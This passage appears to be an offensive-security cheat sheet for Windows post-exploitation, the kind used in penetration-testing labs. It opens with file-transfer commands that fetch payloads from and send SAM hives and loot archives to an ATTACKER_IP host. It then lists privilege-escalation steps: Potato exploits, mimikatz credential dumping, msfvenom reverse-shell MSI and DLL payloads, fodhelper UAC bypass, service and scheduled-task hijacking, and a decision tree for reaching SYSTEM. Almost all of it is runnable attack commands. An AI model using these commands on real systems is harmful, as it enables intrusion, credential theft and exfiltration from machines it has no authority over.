sudo impacket-smbserver share . -smb2support

:: Target — download:
certutil -urlcache -split -f http://ATTACKER_IP:8080/file.exe C:\Windows\Temp\file.exe
(New-Object Net.WebClient).DownloadFile('http://ATTACKER_IP:8080/file.exe','C:\Windows\Temp\file.exe')
iwr http://ATTACKER_IP:8080/file.exe -OutFile C:\Windows\Temp\file.exe
bitsadmin /transfer job http://ATTACKER_IP:8080/file.exe C:\Windows\Temp\file.exe

:: SMB (no download needed — run directly!):
\\ATTACKER_IP\share\file.exe
copy \\ATTACKER_IP\share\file.exe C:\Windows\Temp\file.exe

:: ==========================================
:: DOWNLOAD FROM TARGET (EXFIL)
:: ==========================================

:: Kali — listen:
nc -lvnp 9001 > received.zip

:: Target — send:
powershell -c "Invoke-WebRequest -Uri http://ATTACKER_IP:8080/ -Method POST -InFile C:\Windows\Temp\loot.zip"

:: SMB upload back to attacker:
net use \\ATTACKER_IP\share /user:user pass
copy C:\Windows\Temp\SAM \\ATTACKER_IP\share\SAM

:: ==========================================
:: BASE64 TRANSFER (NO HTTP NEEDED)
:: ==========================================

:: Kali — encode file:
base64 -w 0 winPEASany.exe

:: Target — decode:
[IO.File]::WriteAllBytes("C:\Windows\Temp\wp.exe",[Convert]::FromBase64String("<BASE64_STRING>"))

:: Target — encode file for sending back:
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Windows\Temp\SAM"))
:: Copy base64 output → paste on Kali → base64 -d > SAM

╔══════════════════════════════════════════════════════════════╗
║ WINDOWS PRIVESC — QUICK WIN CHEAT SHEET ║
╚══════════════════════════════════════════════════════════════╝
CHECK → FINDING → COMMAND TO EXPLOIT
═══════════════════════════════════════════════════════════════

whoami /priv
→ SeImpersonatePrivilege Enabled
.\GodPotato.exe -cmd "cmd /c net user hacked Pass123! /add && net localgroup administrators hacked /add"
.\PrintSpoofer64.exe -i -c cmd.exe
.\JuicyPotatoNG.exe -t * -p "C:\Windows\Temp\shell.exe"

whoami /priv
→ SeBackupPrivilege Enabled
reg save HKLM\SAM C:\Windows\Temp\SAM
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM
→ Transfer → secretsdump -sam SAM -system SYSTEM LOCAL

whoami /priv
→ SeDebugPrivilege Enabled
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

whoami /groups
→ BUILTIN\Backup Operators
→ SeBackupPrivilege + SeRestorePrivilege → dump SAM/SYSTEM!
reg save HKLM\SAM C:\Temp\SAM && reg save HKLM\SYSTEM C:\Temp\SYSTEM

whoami /groups
→ BUILTIN\Administrators (but not elevated / UAC!)
→ UAC Bypass needed:
.\UACMe.exe 23 "C:\Windows\Temp\shell.exe"
fodhelper.exe bypass → reg add HKCU...\fodhelper\shell\open\command

cmdkey /list
→ Saved credentials found
runas /savecred /user:Administrator "cmd.exe"
runas /savecred /user:DOMAIN\Administrator "C:\Windows\Temp\shell.exe"

reg query HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
→ DefaultPassword = SomePassword123
→ Try creds on all services: RDP, SMB, WinRM, local su
runas /user:Administrator cmd.exe → enter DefaultPassword

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
→ BOTH return 0x1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f msi > evil.msi
msiexec /quiet /qn /i C:\Windows\Temp\evil.msi

wmic service get name,pathname,startmode | findstr /v """" | findstr " "
→ Unquoted path: C:\Program Files\My Service\app.exe
icacls "C:\Program Files\My Service" → (W) writable!
msfvenom ... -f exe > My.exe
copy My.exe "C:\Program Files\My.exe"
sc stop "ServiceName" && sc start "ServiceName"

.\accesschk64.exe -uwcqv "Authenticated Users" *
→ SERVICE_CHANGE_CONFIG on ServiceName
sc config ServiceName binpath= "C:\Windows\Temp\shell.exe"
sc stop ServiceName && sc start ServiceName

icacls "C:\path\to\service.exe"
→ BUILTIN\Users:(M) on service binary
copy C:\Windows\Temp\shell.exe "C:\path\to\service.exe"
sc stop ServiceName && sc start ServiceName

Get-Acl HKLM:\SYSTEM\CurrentControlSet\Services\ServiceName
→ Current user has Write on service registry key
reg add HKLM\SYSTEM\CurrentControlSet\Services\ServiceName /v ImagePath
/t REG_EXPAND_SZ /d "C:\Windows\Temp\shell.exe" /f
sc start ServiceName

schtasks /query /fo LIST /v → Task To Run: C:\Scripts\task.ps1
icacls "C:\Scripts\task.ps1" → (W) writable!
echo "Start-Process 'C:\Windows\Temp\shell.exe'" >> C:\Scripts\task.ps1
→ Wait for task to fire (or check Next Run Time)

icacls "C:\Windows\Temp" or any dir in %PATH%
→ Writable directory in PATH BEFORE System32
→ DLL Hijacking: place malicious DLL with matching name
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f dll > target.dll
copy target.dll "C:\writable_path_dir\target.dll"

wmic product get name,version
→ Old / vulnerable 3rd party software
searchsploit "SoftwareName version"
→ Local privilege escalation CVE

systeminfo | findstr /B "OS" + wmic qfe list brief
→ No recent patches / missing KBs
.\Watson.exe → suggests applicable CVEs
PrintNightmare: CVE-2021-1675 → SYSTEM shell!
HiveNightmare: CVE-2021-36934 → read SAM as low user!

icacls C:\Windows\System32\config\SAM
→ Users have Read permission (HiveNightmare!)
.\HiveNightmare.exe
secretsdump -sam SAM-haxx -system SYSTEM-haxx LOCAL

dir /s /b C:\Windows\Panther\Unattend*.xml 2>nul
→ File found!
type C:\Windows\Panther\Unattend.xml | findstr "Password|Username"
→ Cleartext or base64 encoded admin password!

findstr /si "cpassword" \DC\SYSVOL*.xml
→ cpassword value found in Groups.xml / Scheduledtasks.xml
gpp-decrypt '<CPASSWORD_VALUE>'
→ Plaintext password → use on all services!

netstat -ano | findstr "LISTENING"
→ 127.0.0.1:3306 or :5432 or :6379 or :8080
→ Internal service! Port forward it:
netsh interface portproxy add v4tov4 listenport=9999
listenaddress=0.0.0.0 connectport=3306 connectaddress=127.0.0.1
→ Or use Ligolo/Chisel to expose internal service to attacker

type C:\Users*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
→ Commands with passwords / paths / credentials in history!
→ Reuse found credentials on all services

netsh wlan show profile name="WiFi-Name" key=clear
→ Key Content: P@ssword123
→ Try on local accounts, SMB, WinRM!

Get-Process | select Name, Id, Path
→ Non-standard process running as SYSTEM with writable binary path
→ Replace binary → wait for restart → SYSTEM!

dir /s /b C:*id_rsa* C:*.pem C:*.ppk 2>nul
→ Private key found!
→ Use to SSH as root / admin on other machines

.\accesschk64.exe -kvwsu "Everyone" HKLM\SYSTEM\CurrentControlSet\Services
→ Writable service registry key found
reg add HKLM...\ServiceName /v ImagePath /d "C:\Windows\Temp\shell.exe" /f
sc start ServiceName

reg query HKCU\Software\SimonTatham\PuTTY\Sessions /s
→ Hostname, ProxyUsername, ProxyPassword found
→ Use credentials on SSH / other services!

.\mimikatz.exe "vault::cred /patch" exit
.\Seatbelt.exe CredEnum
→ Cached domain credentials / web credentials found
→ Spray on all services in domain

PS > [System.Environment]::OSVersion.Version → Build 17763 (Server 2019)
whoami /priv → SeImpersonatePrivilege
→ GodPotato or JuicyPotatoNG → SYSTEM!

PS > Get-LocalGroupMember Administrators → current user is member but shell is Medium IL
→ UAC bypass needed:
PS> Start-Process cmd -Verb RunAs (if RDP/interactive)
fodhelper bypass:
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /d "C:\Windows\Temp\shell.exe" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /f
fodhelper.exe

.\WinPEAS.exe → Red highlighted lines!
→ ALWAYS investigate every red line
→ Re-read output top to bottom — nothing is too small

FIRST 5 COMMANDS ON EVERY WINDOWS SHELL (IN ORDER)
═══════════════════════════════════════════════════════════════

    whoami /all
    → Check SeImpersonatePrivilege → INSTANT win if Enabled

    cmdkey /list
    → Saved creds → runas /savecred → possible instant admin

    reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
    → Autologon password → instant admin

    reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
    reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
    → AlwaysInstallElevated → msi payload → SYSTEM

    ipconfig /all
    → New subnet → setup Ligolo pivot immediately!

═══════════════════════════════════════════════════════════════
UPLOAD AND RUN WINPEAS (DO THIS EVERY TIME)
═══════════════════════════════════════════════════════════════

:: Attacker:
python3 -m http.server 8080

:: Target:
certutil -urlcache -split -f http://ATTACKER_IP:8080/winPEASany.exe C:\Windows\Temp\wp.exe
C:\Windows\Temp\wp.exe > C:\Windows\Temp\wp_out.txt 2>&1
type C:\Windows\Temp\wp_out.txt

:: PowerShell IEX (fileless):
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8080/winPEAS.ps1')

DECISION TREE — WHAT TO TRY WHEN
═══════════════════════════════════════════════════════════════

GOT A SHELL?
│
├─ whoami /priv → SeImpersonate? → GodPotato → SYSTEM ✓
│
├─ cmdkey /list → Saved creds? → runas /savecred → Admin ✓
│
├─ Winlogon DefaultPassword? → use on all services → Admin ✓
│
├─ AlwaysInstallElevated (both 0x1)? → MSI payload → SYSTEM ✓
│
├─ Run WinPEAS → Read ALL red output
│ ├─ Unquoted service? → drop binary → restart → SYSTEM
│ ├─ Writable service binary? → replace → restart → SYSTEM
│ ├─ Weak service ACL? → change binpath → restart → SYSTEM
│ ├─ Writable sched task script? → append payload → wait
│ └─ Writable autorun binary? → replace → wait for admin login
│
├─ PowerUp → Invoke-AllChecks → follow any finding
│
├─ SYSVOL accessible? → findstr cpassword → gpp-decrypt
│
├─ HiveNightmare? icacls C:\Windows\System32\config\SAM → Users:(R)
│ → .\HiveNightmare.exe → dump SAM → crack NTLM
│
├─ PrintNightmare? → Check Spooler + patch level → exploit
│
├─ PS history? → grep for passwords → reuse on services
│
├─ Unattend.xml? → base64 decode password field → use it
│
├─ Internal ports? → port forward → attack local services
│ 127.0.0.1:3306 → MySQL as root (no password sometimes!)
│ 127.0.0.1:6379 → Redis no-auth → RCE
│
├─ UAC blocking? (Administrators group but Medium IL)
│ → fodhelper / eventvwr / bypassuac-env bypasses
│
└─ NOTHING WORKS?
├─ Full port scan again (miss nothing)
├─ WinPEAS output — read EVERY line, not just red
├─ Watson.exe → kernel CVE suggestions
├─ DLL hijacking via procmon (if RDP available)
├─ Named pipe enum → impersonation
└─ Kernel exploit (last resort — check stability!)